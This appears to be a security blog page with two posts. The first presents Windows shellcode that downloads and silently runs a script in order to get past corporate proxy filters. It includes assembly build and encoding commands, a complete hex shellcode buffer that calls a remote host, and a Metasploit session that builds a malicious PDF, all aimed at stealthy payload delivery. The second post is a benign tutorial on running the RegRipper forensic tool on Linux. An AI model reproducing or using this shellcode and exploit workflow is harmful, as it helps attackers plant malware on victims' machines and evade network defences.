Download and Execute Script Shellcode

Introduction

Something I have been working on lately is shellcode to download and execute a script on a Windows system.  "What?"  you may be thinking, "Why the hell would you want to do that when there already exists shellcode to download and execute proper Windows executables?" 

The short answer to that question is "To bypass restrictive proxy servers"...

...

Need more detail than that?  OK...

Whats the problem with Restrictive Proxies?

Restrictive proxy servers, commonly used in corporate environments, have a number of features that can be used to block potentially malicious traffic from reaching the client systems they mediate web traffic for.  Some of the features they have that can cause problems for normal download and execute shellcode which can be bypassed by the use of download and execute script shellcode are as follows:
  • Blocking based on patterns in the URL, such as any URL ending in .exe
  • Blocking based on analysis of the content of web responses and requests, such as any response that contains a file signature consistent with a Windows executable

Lets look at each of these features in a little more detail.

For the purposes of this explanation, we will assume the following network environment, where the client sits in a network separated from the Internet (and the attackers web server) via a restrictive firewall.   We will assume that the firewall only allows outgoing communication to web sites via the proxy server, and no other direct communication in or out is allowed (with the possible exception of DNS traffic, the exploitation possibilities of which I wont go into right now).  The logical diagram below illustrates the section of the network that we are interested in. 



Note that this diagram shows the client is connected to the firewall via the proxy server.  Now this does not actually have to be true from the perspective of how traffic in the network is routed (e.g. layer 3 of the OSI model),  it is just meant to illustrate the all web traffic must be forwarded through the proxy for it to reach the Internet.  This goal can be achieved by either configuring the browser proxy settings to use the proxy and blocking all direct traffic to the Internet using our Firewall, or by actually routing any layer three traffic destined for the Internet through our proxy box, and running the proxy service in transparent mode. (Although in the case of running the proxy transparently you might have to watch for web traffic on non standard ports).

The important point is that all web traffic goes through the proxy and gets checked by it, and no other traffic can exit the network so any outgoing traffic must be tunneled through the proxy.

Now lets look at the impact that proxy filtering can have on the operation of download and execute shellcode.  Lets first examine the case of blocking content via patterns in the URL.  Blocking based on patterns in the URL is one of the most simple methods to actually bypass, however some variants of download and execute shellcode are caught by it because they use the filename from the URL as the filename to use when saving the downloaded content to disk.

In the examples below, we will be trying to get our executable file, "evil.exe" onto the target client machine from our webserver located at www.attacker.com.

Please note that these filenames and URLs are being used for the purpose of example only.  I don't own www.attacker.com and I wouldn't recommend that you try and access evil.exe from that site.


So what happens when we make a request for an exe file to a proxy server that blocks based on a pattern in the URL?  The proxy server usually just immediately replies with a denied message, without even contacting the remote web server, as shown in the diagram below.



As mentioned before, this filtering method is actually really easy to bypass.  All we need to do is rename the extension of the file on the attackers web server, and as long as the proxy server is not doing any type of content checking, the request will complete successfully.

Lets examine the result of the same request when "evil.exe" is renamed to "evil.txt" on the webserver.



The download completes successfully, because in this case the proxy is only  checking the text of the URL and not the received content.  We don't actually need script downloading shellcode to bypass this type of proxy, we would just need download and exec shellcode that allowed files with any file extension to be downloaded, saved to disk with a .exe extension, and then executed.

But what about proxy servers that actually check the content of files they receive? In this case, simply renaming the file wont allow us to bypass the proxy.  Once the proxy receives the response from the remote web site, analyses its contents and finds a file siganture for an executable file, it will block the traffic.

Lets see what happens when our executable file "evil.txt" is downloaded through a proxy that performs file signature matching on content.


As soon as the web content is received by the proxy from the attackers website, and is checked, it is recognised as containing executable content, and a denied message is returned to the client.

This is where shellcode that can download and execute a script becomes useful.  Because the script data is text based, it will bypass proxy servers that perform blocking by matching file signature, because script content is essentially the same as html which a proxy must allow in order to support browsing of regular web pages.  Now our content can still be caught by file extension (if we name our filename [whatever].vbs), or by text pattern matching (if we use a number of potentially evil VBScript or JScript commands in our script), but either of those protections is easy to bypass if we rename the file extension and obfuscate our script.

So if we replaced our evil.txt with script content and not executable content, our download should proceed as below, with the content being successfully delivered to the target victim PC.



What can be done with a script?

So what exactly can we do with script content delivered to our victim system?  A number of things actually, only limited by your imagination.  Some possible examples of things we could do with a script are using it to:
  • Run existing executables already on the target system, or make any other changes on the target system that the user we run our script as is entitled to make
  • Contain a encoded copy of an executable file, which it can then decode, write to disk and run
  • Download copies of encoded executables from the attackers web site, decode them, and run them

I have used this shellcode in order to exploit a system behind a restrictive proxy and tunnel out a cmd shell via http through the proxy, and I will go into details of how that was achieved in a future post.

The Code

My download and execute script shellcode is based on the download and execute code from here and I have provided copies in assembly form as well as a Metasploit payload which you can copy to /modules/payloads/singles/windows/ in your Metasploit install directory (probably /opt/metasploit3/msf3/ on Linux).

I have tested the shellcode successfully on Windows XP SP2 and SP3 and Windows Vista SP2.

Get the code here:
Edit: Updated to support Windows 7, more details here.


Usage Examples

If you want to use the assembly form of the code, put your chosen URL at the end of file in the db line, and assemble to descript.bin via nasm using the following command

lupin@lion:~/proxybypass$ nasm -f bin descript.asm -o descript.bin

Then you can run it through msfencode to get rid of bad characters like so

lupin@lion:~/proxybypass$ cat descript.bin | msfencode -a x86 -b '\x00\x0a\x0d' -t c

Or just output it in c hash format using perl like so

lupin@lion:~/proxybypass$ cat descript.bin | perl -e 'while (read STDIN, $d, 1) {print "\\x" . sprintf( "%02x", ord($d));}; print "\n"'

If you want to use the Metasploit module (which is actually a much easier way to use the shellcode), just use it like you would any other Metasploit payload, providing the URL to download the script from via the "URL" option.

Heres an example using msfpayload, to output shellcode suitable for pasting into an exploit you create yourself:

lupin@lion:~$ msfpayload windows/download_exec_script URL=http://192.168.56.1/evil.tmp C
/*
 * windows/download_exec_script - 256 bytes
 * http://www.metasploit.com
 * URL=http://192.168.56.1/evil.tmp
 */
unsigned char buf[] =
"\xeb\x74\x56\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c"
"\xad\x8b\x40\x08\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b"
"\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x37"
"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74"
"\x0a\xc1\xcf\x0d\x01\xc7\xe9\xf1\xff\xff\xff\x3b\x7c\x24\x28"
"\x75\xde\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01"
"\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\x5f\x81\xef"
"\x98\xff\xff\xff\xe8\x90\xff\xff\xff\x89\xc3\xeb\x05\xe8\xeb"
"\xff\xff\xff\x68\x8e\x4e\x0e\xec\x53\xe8\x8f\xff\xff\xff\x31"
"\xc9\x66\xb9\x6f\x6e\x51\x68\x75\x72\x6c\x6d\x54\xff\xd0\x68"
"\x36\x1a\x2f\x70\x50\xe8\x75\xff\xff\xff\x31\xc9\x51\x51\x8d"
"\x37\x81\xc6\xee\xff\xff\xff\x8d\x56\x0c\x52\x57\x51\xff\xd0"
"\x68\x98\xfe\x8a\x0e\x53\xe8\x56\xff\xff\xff\x41\x51\x56\xff"
"\xd0\x68\x7e\xd8\xe2\x73\x53\xe8\x46\xff\xff\xff\xff\xd0\x77"
"\x73\x63\x72\x69\x70\x74\x20\x2f\x2f\x42\x20\x61\x2e\x76\x62"
"\x73\x00\x68\x74\x74\x70\x3a\x2f\x2f\x31\x39\x32\x2e\x31\x36"
"\x38\x2e\x35\x36\x2e\x31\x2f\x65\x76\x69\x6c\x2e\x74\x6d\x70"
"\x00";

And heres an example using msfconsole to create a malicious PDF file:

lupin@lion:~$ msfconsole
...[SNIP]...
msf > use windows/fileformat/adobe_collectemailinfo
msf exploit(adobe_collectemailinfo) > set PAYLOAD windows/download_exec_script
PAYLOAD => windows/download_exec_script
msf exploit(adobe_collectemailinfo) > set URL http://192.168.56.1/evil.tmp
URL => http://192.168.56.1/evil.tmp
msf exploit(adobe_collectemailinfo) > set OUTPUTPATH /tmp
OUTPUTPATH => /tmp
msf exploit(adobe_collectemailinfo) > set FILENAME evil.pdf
FILENAME => evil.pdf
msf exploit(adobe_collectemailinfo) > show options

Module options:

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   FILENAME    evil.pdf         yes       The file name.
   OUTPUTPATH  /tmp             yes       The location of the file.


Payload options (windows/download_exec_script):

   Name  Current Setting               Required  Description
   ----  ---------------               --------  -----------
   URL   http://192.168.56.1/evil.tmp  yes       The URL pointing to the script.  Don't use .txt, .htm file extentions!


Exploit target:

   Id  Name
   --  ----
   0   Adobe Reader v8.1.1 (Windows XP SP0-SP3 English)



msf exploit(adobe_collectemailinfo) > exploit

[*] Creating 'evil.pdf' file...
[*] Generated output file /tmp/evil.pdf
[*] Exploit completed, but no session was created.
msf exploit(adobe_collectemailinfo) >


Notes on Use of the Shellcode

This shellcode uses the URLDownloadToFile function from urlmon.dll to actually download the script file from the web.  The following results from this:
  • The shellcode will use Internet Explorers proxy settings to make the web request, and if the proxy server uses integrated Windows Authentication the logon details will be automatically provided in response to a challenge.  So far, I have only tested this via exploiting software run as the locally logged on user, so Im not sure what will happen regarding Windows Authentication if you happen to exploit a program running as a different user.
  • URLs with files ending in particular extentions will not be saved to disk.  Extentions .txt and .htm are the ones I have discovered so far that do not get saved, but there may be more.  Using the .tmp extension allows the file to be correctly saved to disk.

There are two zero bytes in the shellcode, at the end of each of the db strings at the end of the code itself.  These were left in place in order to simplify the code and to allow easy modification of the URL without having to change offsets in the code to re-add the zero byte at runtime.  Obviously, if you need to use this shellcode in an exploit that is intolerant of zero byte characters, encode it first.

The script is being saved to disk as a.vbs in the present working directory of the program that you exploit.  That means that the account that the program runs as must have permissions to both read and write to this directory for the shellcode to be effective.  If this is a problem the code can always be modified to save to the temp directory instead, although this will increase the size of the code.  The fact that the file extension is set as .vbs also means that the code you provide must be VBScript code.  If you want to use JScript, just modify the appropriate db entry near the end of the assembly code to use a .js extension instead.

The downloaded script is also run using wscript in batch mode (//B) which will prevent any popup messages (including those that result from "WScript.Echo" commands) from appearing on the target system.  This was done for stealth reasons - without it you get a great honking popup on the victim system if the script does not exist (e.g. if the download fails) or if you have an error in your code that you havent silenced using "On Error GoTo Next".  So given that 'WScript.Echo "Hello world"' wont work as a test script, if you want to test that the code works properly use something like the following, which will create file c:\blah.txt and write "Blah." to it.

Set FSO = CreateObject("Scripting.FileSystemObject")
Set File = FSO.CreateTextFile("c:\blah.txt", True)
File.WriteLine("Blah.")
File.Close

If you modify the assembly version of the file and want your changes to be reproduced in the Metasploit payload version, its quite easy to do so.  Assuming the two db statements are still left at the end of the shellcode, all you need to do is assemble the code using nasm, output the binary file in c hash format using perl, cut everything after the second last zero byte (\x00) character in the c hash output and then paste the resulting data into the download_exec_script.rb file, taking note of the proper syntax.

And of course the standard disclaimer applies, don't use this code to do anything evil, like breaking into systems without appropriate permission.

Anyway, have fun with the code and be sure and drop me a line and let me know if you find it useful or have used it to do something cool.

Running Regripper on Linux

I have been using Harlan Carvey's excellent RegRipper tool for a while now to analyse Windows registry hive files as part of incident investigations, and since I do the majority of my investigations from Linux systems I thought I'd share here the process I use to run RegRipper from Linux.

I am aware that a Linux version of RegRipper has been created but at the time that I checked it was not available to download from RapidShare.  In addition, since the process of getting the Windows version to run on Linux is so easy, this is usually the method I follow.

I am doing the following on Ubuntu 9.10, but these instructions should work on the majority of Linux installations.  The majority of these commands to install RegRipper need to be run as root, so I am using a root shell, opened on Ubuntu via the command "sudo -s".

First we need to install the Parse::Win32Registry perl module, which RegRipper uses to parse the registry hive files.  Grab it from CPAN like so.

root@lion:~# perl -MCPAN -e 'install Parse::Win32Registry'

Now we need to create a directory for RegRipper to run from.  I like to put it in its own directory under /opt, but you can put it wherever you wish.  Create the directory and change to it.

root@lion:~# mkdir -p /opt/regripper
root@lion:~# cd /opt/regripper

Now we download the RegRipper program itself.  The command below downloads the latest available version at the time of writing.  To check for later versions, go here and check the Downloads area.

root@lion:/opt/regripper# wget http://regripper.net/RR/RegRipper/rr_20080909.zip

Unzip RegRipper

root@lion:/opt/regripper# unzip rr_20080909.zip

Convert to Unix line endings and make the rip.pl script executable

root@lion:/opt/regripper# perl -pi -e 's/\r\n/\n/g' rip.pl
root@lion:/opt/regripper# chmod +x rip.pl

Exit the first line of rip.pl to use your systems perl interpreter to run rip.pl

root@lion:/opt/regripper# which perl | sed 's/\//\\\//g' > /tmp/perlloc && sed -i "s/ c:\\\\perl\\\\bin\\\\perl.exe/`cat /tmp/perlloc`/" rip.pl

Add/Modify a few commands to allow the RegRipper plugins directory to be found:

 root@lion:/opt/regripper# echo $PWD | sed 's/\//\\\//g' > /tmp/pwd && sed -i "s/use Getopt::Long;/use Getopt::Long;\nuse lib \'`cat /tmp/pwd`\/\';\n/" rip.pl
root@lion:/opt/regripper# sed -i "s/plugindir = \"plugins\\\\\\\\/plugindir = \"`cat /tmp/pwd`\/plugins\//" rip.pl
root@lion:/opt/regripper# sed -i 's/require "plugins\\\\".$plugins{$i}."\\.pl";/require "plugins\/".$plugins{$i}."\\.pl";/' rip.pl

Now we should be able to run the rip.pl RegRipper command line interface.

root@lion:/opt/regripper# ./rip.pl
Rip v.20080419 - CLI RegRipper tool   
Rip [-r Reg hive file] [-f plugin file] [-p plugin module] [-l] [-h]
Parse Windows Registry files, using either a single module, or a plugins file.
All plugins must be located in the "plugins" directory; default plugins file
used if no other filename given is "plugins\plugins".

  -r Reg hive file...Registry hive file to parse
  -g ................Guess the hive file (experimental)
  -f [plugin file]...use the plugin file (default: plugins\plugins)
  -p plugin module...use only this module
  -l ................list all plugins
  -c ................Output list in CSV format (use with -l)
  -h.................Help (print this information)
 
Ex: C:\>rr -r c:\case\system -f system
    C:\>rr -r c:\case\ntuser.dat -p userassist
    C:\>rr -l -c

All output goes to STDOUT; use redirection (ie, > or >>) to output to a file.
 
copyright 2008 H. Carvey

And we can run it against one of the Registry hive files from my Windows system volume mounted at /media/sda2

root@lion:/opt/regripper# ./rip.pl -r /media/sda2/Windows/System32/config/SAM -f sam
Parsed Plugins file.
Launching samparse v.20080415

User Information
-------------------------
Username        : Administrator [500]
Full Name       :
User Comment    : Built-in account for administering the computer/domain [SNIP]


And thats it - happy RegRipping!

Update:  Modified download path above to take into account change of location on RegRipper site.